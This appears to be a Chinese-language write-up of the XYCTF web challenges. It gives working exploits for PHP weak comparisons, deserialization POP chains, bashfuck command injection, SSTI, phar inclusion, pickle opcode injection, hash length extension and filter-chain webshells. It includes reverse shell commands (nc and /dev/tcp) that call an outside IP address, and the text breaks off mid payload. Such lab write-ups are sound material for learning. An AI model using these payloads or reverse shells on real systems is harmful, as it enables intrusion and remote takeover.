Web

ezhttp

考点:信息泄露+基础发包

image.png 访问 /robots.txt image.png 访问 /l0g1n.txt

username: XYCTF
password: @JOILha!wuigqi123$

登录 image.png 添加Refererimage.png image.png 添加User-Agent image.png image.png 直接burp(fake ip)插件一把梭 image.png 添加 Viaimage.png 添加 Cookie image.png 可以拿flag

warm up

考点:php黑魔法+变量覆盖

<?php  
include 'next.php';  
highlight_file(__FILE__);  
$XYCTF = "Warm up";  
extract($_GET);  
  
if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {  
    echo "ez" . "<br>";  
} else {  
    die("什么情况,这么基础的md5做不来");  
}  
  
if (isset($md5) && $md5 == md5($md5)) {  
    echo "ezez" . "<br>";  
} else {  
    die("什么情况,这么基础的md5做不来");  
}  
  
if ($XY == $XYCTF) {  
    if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {  
        echo $level2;  
    } else {  
        die("什么情况,这么基础的md5做不来");  
    }  
} else {  
    die("学这么久,传参不会传?");  
}

extract是典型的==变量覆盖==关键字

$_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']

1.md5弱类型,数组绕过即可

$md5 == md5($md5)
比如:0e123==0e321

2.随便在网上找个md5结果为0e开头字符串而且本身是0e开头的 0e215962017 ———>md5(0e215962017)=0e291242476940776845150308577824 3.$XY == $XYCTF变量覆盖 直接串$XY$XYCTF即可 4.0e绕过md5弱相等

$XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591"))

image.png 可以沿用0e215962017的结果 image.png 进入 LLeeevvveeelll222.php

<?php  
highlight_file(__FILE__);  
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {  
    echo "操作你O.o";  
    echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);  // 我可不会像别人一样设置10来个level  
} else {  
    die("有点汗流浃背");  
}

注意当前php版本较低 image.png 典型的preg_replace命令执行 !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'] intval 数组绕过即可 image.png preg_replace()+/e执行任意命令 image.png 可以成功拿到flag image.png

ezRCE

考点:无字母RCE(bashfuck)+shell变量构造RCE

<?php  
highlight_file(__FILE__);  
function waf($cmd){    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];     $cmd_char = str_split($cmd);  
    foreach($cmd_char as $char){  
        if (!in_array($char, $white_list)){  
            die("really ez?");  
        }  
    }  
    return $cmd;  
}  
$cmd=waf($_GET["cmd"]);  
system($cmd);

快速利用可以用探姬的项目bashFuck 例如 ls image.png 可以成功执行结果 我们可以尝试{ls,/} image.png image.png

此时的payload会发现是无效的,思考这是为什么? 原因是 $'\173\154\163\54\57\175' 被shell解析后 当作了字符 {ls,/}而不是命令,没有任何意义 现在问题转换成如何正确表示空格和命令 发现 一篇文章 利用shell脚本变量构造无字母数字命令 文中就是答案 image.png 通过bash<<<{cat,/f*}将 命令两次管道解析保证命令可以直接执行

bash  $'\142\141\163\150'
{cat,/f*} $'\173\143\141\164\54\57\146\52\175'
$'\142\141\163\150'<<<$'\173\143\141\164\54\57\146\52\175'

第一次,解析shell为bash<<{cat,/f*} 第二次,将{cat,/f*}传递给bash正确解析 image.png 可以得到flag

ezmd5

考点:md5文件强相等

image.png 用工具fastcoll强碰撞 image.png 上传1.jpg和2.jpg即可 image.png

ezunserilze

考点:引用绕过强相等+php原生类读文件

<?php  
include 'flag.php';  
highlight_file(__FILE__);  
error_reporting(0);  
  
class Flag {  
    public $token;  
    public $password;  
  
    public function __construct($a, $b)  
    {        $this->token = $a;        $this->password = $b;  
    }  
  
    public function login()  
    {  
        return $this->token === $this->password;  
    }  
}  
  
if (isset($_GET['pop'])) 
{    
	$pop = unserialize($_GET['pop']);    
	$pop->token=md5(mt_rand());  
    if($pop->login()) {  
        echo $flag;  
    }  
}

第一段:引用绕过强相等 payload:

<?php 
class Flag { public $token; public $password; 
				  public function __construct() 
				  { 
				  $this->password = &$this->token;  
				  } 
			} 
				  $flag = new Flag(); 
				  echo serialize($flag); 
?>

image.png 访问 fpclosefpclosefpcloseffflllaaaggg.php 第二段:PHP反序列化可控任意属性

<?php  
highlight_file(__FILE__);  
class A {  
    public $mack;  
    public function __invoke()  
    {  
        $this->mack->nonExistentMethod();  
    }  
}  
  
class B {  
    public $luo;  
    public function __get($key){  
        echo "o.O<br>";  
        $function = $this->luo;  
        return $function();  
    }  
}  
  
class C {  
    public $wang1;  
  
    public function __call($wang1,$wang2)  
    {  
            include 'flag.php';  
            echo $flag2;  
    }  
}  
  
  
class D {  
    public $lao;  
    public $chen;  
    public function __toString(){  
        echo "O.o<br>";  
        return is_null($this->lao->chen) ? "" : $this->lao->chen;  
    }  
}  
  
class E {  
    public $name = "xxxxx";  
    public $num;  
  
    public function __unserialize($data)  
    {  
        echo "<br>学到就是赚到!<br>";  
        echo $data['num'];  
    }  
    public function __wakeup(){  
        if($this->name!='' || $this->num!=''){  
            echo "旅行者别忘记旅行的意义!<br>";  
        }  
    }  
}  
  
if (isset($_POST['pop'])) {  
    unserialize($_POST['pop']);  
}

编写Poc

<?php
class A {
    public $mack;

}

class B {
    public $luo;

}

class C {
    public $wang1;


}


class D {
    public $lao;
    public $chen;

}

class E {
    public $name = "xxxxx";
    public $num;

    
    
}
$e=new E();
$e->name=new D();
$e->name->lao=new B();
$e->name->lao->luo=new A();
$e->name->lao->luo->mack=new C();
echo(serialize($e));

image.png

访问saber_master_saber_master.php

<?php

error_reporting(0);
highlight_file(__FILE__);

// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    private $upsw1ng;

    public function __construct($Liu, $T1ng, $upsw1ng = Showmaker)
    {
        $this->Liu = $Liu;
        $this->T1ng = $T1ng;
        $this->upsw1ng = $upsw1ng;
    }
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;

    public function __construct($crypto0, $adwa)
    {
        $this->crypto0 = $crypto0;
    }

    public function XYCTF()
    {
        if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') {
            return False;
        } else {
            return True;
        }
    }
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";

    public function __construct($KickyMu, $fpclose)
    {
        $this->KickyMu = $KickyMu;
        $this->fpclose = $fpclose;
    }

    public function XY()
    {
        if ($this->N1ght == 'oSthing') {
            echo "WOW, You web is really good!!!\n";
            echo new $_POST['X']($_POST['Y']);
        }
    }

    public function __wakeup()
    {
        if ($this->KickyMu->XYCTF()) {
            $this->XY();
        }
    }
}


if (isset($_GET['CTF'])) {
    unserialize($_GET['CTF']);
}

POC:

<?php



// flag.php
class XYCTFNO1
{
    public $Liu;
    public $T1ng;
    public $upsw1ng;


}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;


}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "Crypto0";


}

$xyctf3=new XYCTFNO3();
$xyctf3->N1ght='oSthing';
$xyctf3->KickyMu=new XYCTFNO2();
$xyctf3->KickyMu->adwa=new XYCTFNO1();
$xyctf3->KickyMu->adwa->crypto0='dev1l';
$xyctf3->KickyMu->adwa->T1ng='yuroandCMD258';
echo(serialize($xyctf3));

image.png 最终命令执行触发点 echo new $_POST['X']($_POST['Y']); php原生类读文件 SplFileObject(默认读一行) 所以要结合php伪协议读文件全部内容 X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php image.png 解码就是flag image.png

牢牢记住,逝者为大​

考点:php代码执行过滤绕过

<?php  
highlight_file(__FILE__);  
function Kobe($cmd)  
{  
    if (strlen($cmd) > 13) {  
        die("see you again~");  
    }  
    if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {  
        die("肘死你");  
    }  
    foreach ($_GET as $val_name => $val_val) {  
        if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {  
            return "what can i say";  
        }  
    }  
    return $cmd;  
}  
  
$cmd = Kobe($_GET['cmd']);  
echo "#man," . $cmd  . ",manba out";  
echo "<br>";  
eval("#man," . $cmd . ",mamba out");

有长度限制strlen($cmd) > 13 考虑 反引号执行系统命令(只有两个字符) 等价于 `shell_exec(); 这个命令是没有回显的 做个转接头 逃逸 命令长度限制

`$_GET[1]`;

将执行 GET参数中1的值 过滤后最终执行eval("#man," . $cmd . ",mamba out");有无关字符 # 在php中是单行注释符 用 %0A换行即可绕过(到下一行了) . ",mamba out" 后面有无关字符 用#注释后面即可 payload: 刚好13个字符

cmd=%0a`$_GET[1]`;%23

没有回显考虑反弹shell payload

?cmd=%0a`$_GET[1]`;%23&1=nc 148.135.82.190 8888 -e /bi''n/sh

可以成功用nc反弹shell image.png

ezMake

考点:命令执行绕过+shell变量替换符读文件 trick

清空 默认环境变量,但是发现echo可用 法一:利用shell变量替换符$(<file)读文件 看看可以如何用 image.png 坑点:这里两个$$才代表一个$注意一下 echo $$(<flag) 直接读flag image-20240402202720412 报错带出也是可以的 image.png

法二:直接访问/flag在当前目录下,直接下载下来即可 010打开后 image.png 直接就是flag

ez?Make

考点:读文件+文件名过滤

flag在根目录下 image.png cd到根目录下 image.png 通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符) image.png [^b]代表不是b的其他字符

εZ?¿м@Kε¿?

考点:报错读文件+makefile自动变量

Makefile 自动变量 在Makefile中,大家经常会见到类似$@、$^、$<这种类型的变量。这种变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:

  • $@:目标
  • $^:所有目标依赖
  • $<:目标依赖列表中的第一个依赖
  • $?:所有目标依赖中被修改过的文件 这里第一个依赖是就是 /flag (注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是FLAG,卡了半天读不到/flag) image.png 配和报错带出即可 参照前面ezMake 坑点:这里两个$$才代表一个$ $$(<$<) image.png

我是一个复读机

考点:弱密码+SSTI的简单绕过(requests)

账号admin 密码asdqwe 构造错误数据登录包 image.png 直接将题目考点暴露出来 一定是SSTI 简单Fuzz一下 image.png 发现标签都闭合不了{{}},{%%} 思考是不是代表不能做? 测了一下中文全角(==任意全角字符==)都可以返回正常的{}(有点脑洞) image.png image.png requests,args,.没有禁止 直接requests绕过关键词过滤|attr()绕过[]过滤

[[lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read

image.png

直接读flag

Pharme

考点:文件上传+phar文件包含+无参代码执行RCE+__halt_compiler函数的应用

先创建phar文件

<?php

class evil{
    public $cmd;
    public $a;

}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');  //写入stub
$o=new evil();
$o->cmd='print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler();';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

得到test.phar文件 image.png 上传phar文件 image.png 文件上传存在典型检测__HALT_COMPILER被过滤了 将生成的Phar文件进行gzip压缩绕过即可 gzip压缩后,修改后缀为jpg image.png 成功上传 拿文件上传地址  /tmp/0412c29576c708cf0155e8de242169b1.jpg

image.png 访问class.php内容

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

if(isset($_POST['file']))
{
    if(preg_match('/^phar:\/\//i',$_POST['file']))
    {
        die("nonono");
    }
    file_get_contents($_POST['file']);
}

关键点1.if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd)))A-Z,a-z,_,(,)替换为空后将留下的;替换为ch3nx1后检查是否是等于ch3nx1 简单来说就是典型的 ==无参代码执行RCE== 用常见的绕过手法即可 关键点2.preg_match('/^phar:\/\//i 开头不能是phar:// 直接php://filtr/resource=phar://绕过即可 关键点3. eval($this->cmd.'isbigvegetablechicken!'); 我们的问题是:如何正常执行前面内容而==忽视后面的编译错误== 通过利用__halt_compiler 函数 中断编译器的执行 可以达成这个效果 image.png image.png 等价执行了print_r(getallheaders());eval(reset(getallheaders()));__halt_compiler(); eval()执行host之前的请求头 image.png 直接可以得到flag 题目溯源:

  1. 安洵杯SYCCTF2023 4号的罗纳尔多 POC基本一模一样image.png

  2. 2022 极客大挑战 ezRCE

连连看到底是连连什么看

考点:php filter chain构造指定字符串

优秀的Github项目: 1.php_filter_chain_generator https://github.com/synacktiv/php_filter_chain_generator 2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本) https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT 注意:以上项目只实现了构造目标字符串,字符集存在乱码,如果要构造明确的字符,需要了解构造php filter chain构造基本原理 image.png 保证php filter chain生成内容是XYCTF就可以得到flag 这里我们用php_filter_chain_generator辅助分析 image.png 先在本地测试调试输出 image.png 可以构造出XYCTF+一堆乱码 现在的问题是 如何去掉这堆乱码 法一: 最简解 配合 string.strip_tags过滤器剔除垃圾字符 可以去掉php,html标签内容,<我是垃圾>甚至可以是没有闭合的标签<垃圾是我后的所有字符 image.png (这里虽然说是php7.3.0后废除,但是我看了看网上在线的php官方文档==直到php8.0还没有完全废弃==) 所以也是可以用的,嘿嘿 我们构造XYCTF< image.png image.png 手动添加string.strip_tags 直接剔除<后面的垃圾字符,输出flag image.png POC

convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags

image.png 远程一样打通 法二: 手搓字符(利用base-decode去除非码表字符特性) 编码时遵循3变4原则,缺就用=补位 简单测试一下 image-20240411200153424 ==先解码后编码== —–> 可以看到 后面的 非码表字符 被剔除了 不能正常解码可以手动填充数据(用码表字符补)直到乱码中没有码表字符,==也别带=号==(填充可有可无,但是多次解码后会影响结果) 接下来不断解码编码 image.png

image.png 手动构造出字符VmpCYWMxSkdXa1pYVVdGRFEwUWUar base64-decode 4次可以剔除垃圾字符 构造出XYCTF image.png 手动加 base64-decode 4次即可 image.png 还是挺神奇的,不过不推荐,容易出错 法三: poc脚本修改 队友给了个脚本,因为 =是 工具 作者没有Fuzzing出来的 所以在直接在去掉=填充也不影响数据

import base64  
  
file_to_use = "/etc/passwd"  
  
#<?php eval($_GET[1]);?>a  
base64_payload=base64.b64encode("Vm1wQ1lXTXhTa2RYYTFwWVZWRQ".encode()).decode().replace("=","")  
print(base64_payload)  
# generate some garbage base64  
filters = "convert.iconv.UTF8.CSISO2022KR|"  
filters += "convert.base64-encode|"  
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file  
filters += "convert.iconv.UTF8.UTF7|"  
  
  
for c in base64_payload[::-1]:  
        filters += open('./res/'+(str(hex(ord(c)))).replace("0x","")).read() + "|"  
        # decode and reencode to get rid of everything that isn't valid base64  
        filters += "convert.base64-decode|"  
        filters += "convert.base64-encode|"  
        # get rid of equal signs  
        filters += "convert.iconv.UTF8.UTF7|"  
  
filters += "convert.base64-decode"  
  
final_payload = f"php://filter/{filters}/resource={file_to_use}"  
  
with open('test.php','w') as f:  
    f.write('<?php echo file_get_contents("'+final_payload+'");?>')  
print(filters)

解base64-decode 7次可以拿到XYCTF

ezpop

考点:Fast-destruct+call_user_func闭包RCE

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
  
class AAA  
{  
    public $s;  
    public $a;  
    public function __toString()  
    {  
        echo "you get 2 A <br>";        
        $p = $this->a;  
        return $this->s->$p;  
    }  
}  
  
class BBB  
{  
    public $c;  
    public $d;  
    public function __get($name)  
    {  
        echo "you get 2 B <br>";        
        $a=$_POST['a'];        
        $b=$_POST;        
        $c=$this->c;        
        $d=$this->d;  
        if (isset($b['a'])) {  
            unset($b['a']);  
        }        call_user_func($a,$b)($c)($d);  
    }  
}  
  
class CCC  
{  
    public $c;  
  
    public function __destruct()  
    {  
        echo "you get 2 C <br>";  
        echo $this->c;  
    }  
}  
  
  
if(isset($_GET['xy'])) {    $a = unserialize($_GET['xy']);  
    throw new Exception("noooooob!!!");  
}

关键点1.绕过throw new Exception("noooooob!!!"); Fast-destruct即可:删除末尾的} 快速触发__destruct() (垃圾回收机制)从而绕过抛出异常终止执行 关键点2.call_user_func($a,$b)($c)($d); $b$_POST的数组(去除了a) 等价于call_user_func($a,['key'=>'value'])($c)($d); call_user_func用法 image.png 思考我们PHP命令执行的几种形式,我们要如何将它联系在一起来了? 在PHP>7后,支持('system')('ls')这种==动态执行函数==的特性 简单测测 任意闭包会影响结果吗? image.png

('system')('ls')('J1rrY')(668)(996);任意闭包都不会影响我们的结果 那么我们现在的问题是如何让call_user_func($a,['key'=>'value'])返回字符串而且回调函数接受一个数组,我们自然而然想到implode函数,将数组的值拼接为一个字符串,非常符合我们的预期 简单测试一下 image.png

可以成功执行我们的系统命令,至此整条链子也通了 编写简单的POP链

<?php
error_reporting(0);
class AAA
{
    public $s;
    public $a;
}
class BBB
{
    public $c;
    public $d;

}

class CCC
{
    public $c;
}
$c=new CCC();
$c->c=new AAA();
$c->c->s=new BBB();
$c->c->a="test";
$c->c->s->c='cat /f*';
$c->c->s->d=0;
echo(serialize($c));

生成后删除末尾 } payload: O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:7:"cat /f*";s:1:"d";i:0;}s:1:"a";s:4:"test";} image.png 直接读到flag 题目溯源: 1.Lctf 2018 bestphp’s revenge

<?php  
highlight_file(__FILE__);  
$b = 'implode';  
call_user_func($_GET['f'], $_POST);  
session_start();  
if (isset($_GET['name'])) {    
$_SESSION['name'] = $_GET['name'];  
}  
var_dump($_SESSION);  
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');  
call_user_func($b, $a);  
?>

ezClass

考点:php原生类构造字符串+php动态执行函数特性

<?php  
highlight_file(__FILE__);  
$a=$_GET['a'];  
$aa=$_GET['aa'];  
$b=$_GET['b'];  
$bb=$_GET['bb'];  
$c=$_GET['c'];  
((new $a($aa))->$c())((new $b($bb))->$c());

结构 new 一个类(参数)->执行方法 利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性 image.png 例如new Error("system")->getMessage 会返回system image.png POC

?a=Error&aa=system&b=Error&bb=cat /f*&c=getMessage

image.png

login

考点:pickle反序列化字节码绕过(opache绕过)

image.png 看后缀可能认为是php做后端,但是服务器的响应式flask的框架(fake php) 经典注册登录 /register.php 注册一个账号 1,1 登录成功后 查看 cookie image.png 怀疑RememberMe的字段是 pickle反序列化后的数据 写个脚本反序列化一下

import pickle

import base64

import pickletools

cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

data=base64.b64decode(cookie)  

print(pickletools.dis(data))

image.png 确定是 pickle反序列化的题目 简单Fuzz发现是过滤 R,r字符 考虑 opache绕过 比如 i 方向 之前写过文章总结过这里不重复了 当时笔记是

[!NOTE] 可以直接拼接pickle数据(不用伪造flask-session的题)
直接将base64-decode数据最后的.去掉后贴payload直接打反弹shell

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub. .代表结束 可以将两个pickle流直接拼接在一起

i可用 
b'''(S'whoami'\nios\nsystem\n.'''

拼接一下

\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.
import pickle

import base64

import pickletools

cookie="gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="

print(base64.b64decode(cookie))

import base64

#bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"

opcode=b'''\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub(S'bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"'\nios\nsystem\n.'''

print(base64.b64encode(opcode))

对数据base64编码后

gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViKFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDguMTM1LjgyLjE5MC84ODg4IDA+JjEiJwppb3MKc3lzdGVtCi4=

发送请求 image.png 可以直接反弹shell image.png image.png

直接拿flag即可

give me flag

考点:hash长度扩展攻击

典型md5长度扩展攻击 md5($FLAG.$value.$time)===$md5

<?php  
include('flag.php');  
$FLAG_md5 = md5($FLAG);  
if(!isset($_GET['md5']) || !isset($_GET['value']))  
{    highlight_file(__FILE__);  
    die($FLAG_md5);  
}  
  
$value = $_GET['value'];  
$md5 = $_GET['md5'];  
$time = time();  
  
if(md5($FLAG.$value.$time)===$md5)  
{  
    echo "yes, give you flag: ";  
    echo $FLAG;  
}

推荐中文项目:https://github.com/shellfeel/hash-ext-attack 原先的 hashpump项目作者github删库了 法一:最简解(直接手测) unxi时间戳 image.png

注意unix时间戳 建议提前100秒 直接将 md5($FLAG) 的值输出了 image.png md5($FLAG.$value.$time)===$md5 $timeunix时间做了后缀字符 比如我当时的时间戳是1714025400 那我写后缀是就是 1714025500 image.png 但是如何判断flag的长度了? 完全可以 根据平台特性是动态flag 位数是固定的43位,可以参考之前的flag 猜出来 注意提交的$value是%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%001714025500去掉后缀的时间戳``%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00` 写个脚本不断请求

import requests

url='http://127.0.0.1:54572/?md5=c3512fdf01f911d012d043c8b39ed98e&value=%80%00%00%00%00%00%00%00%00%00%00%00%00X%01%00%00%00%00%00%00'

  

while True:

    res=requests.get(url=url)

    if "{" in res.text:

        print(res.text)

        break

image.png 就可以直接拿到flag 法二: 当时写了个脚本做的(有网络延迟time增加一点即可) 阅读项目源码原理,配合 hash-ext-attack项目调试即可 image.png

import requests
import time
import sys
import urllib.parse
from loguru import logger
from common.HashExtAttack import HashExtAttack


hash_ext_attack = HashExtAttack()

logger.remove()

logger.add(sys.stderr, level="INFO")

  

initial_url = ''

  

while True:

    for i in range(7,50):

        new_text_part, new_hash = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', '', i)

        quote = urllib.parse.quote(new_text_part, safe='&=')

        new_text_part2, new_hash2 = hash_ext_attack.run('', '28aefeaefd98fd5a4b25cc913cd06484', str(int(time.time())+1), i)

        url = f"{initial_url}/?md5={new_hash2}&value={quote}"

        response = requests.get(url=url)

        print(f"Time:+{int(time.time())}")

        text = response.text

        print(f"Response: {text}")

        if "{" in response.text:

            print(f"found Flag: {response.text}")

            break

ezLFI

考点: php filter chain+阅读dockerfile

在docker文件中设置权限问题 chmod 400 /flag ==只有文件所有者可以读取文件内容== 存在/readflag说明要执行shell命令 给了include_once(); 没什么好说的一眼php filter chain构造任意字符,考点重复了? 用php_filter_chain生成一句话木马即可 优秀的Github项目: 1.php_filter_chain_generator https://github.com/synacktiv/php_filter_chain_generator 2.PHP_INCLUDE_TO_SHELL_CHAR_DICT:(提供了Fuzz脚本) https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT 注意:以上项目只实现了构造目标字符串,字符集可能存在乱码,如果要构造明确的字符,需要了解基本原理 考法:

  1. 文件包含直接rce(绕过include指定后缀或文件限制)
  2. 构造任意字符过判断 注意一下: 如果服务器无响应说明生成的php filter chain中有==靶机系统不支持的字符集==,换一个项目生成,注意一下,我这里用的是PHP_INCLUDE_TO_SHELL_CHAR_DICT项目 构造一句话木马<?php eval($_GET[1]);?>
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.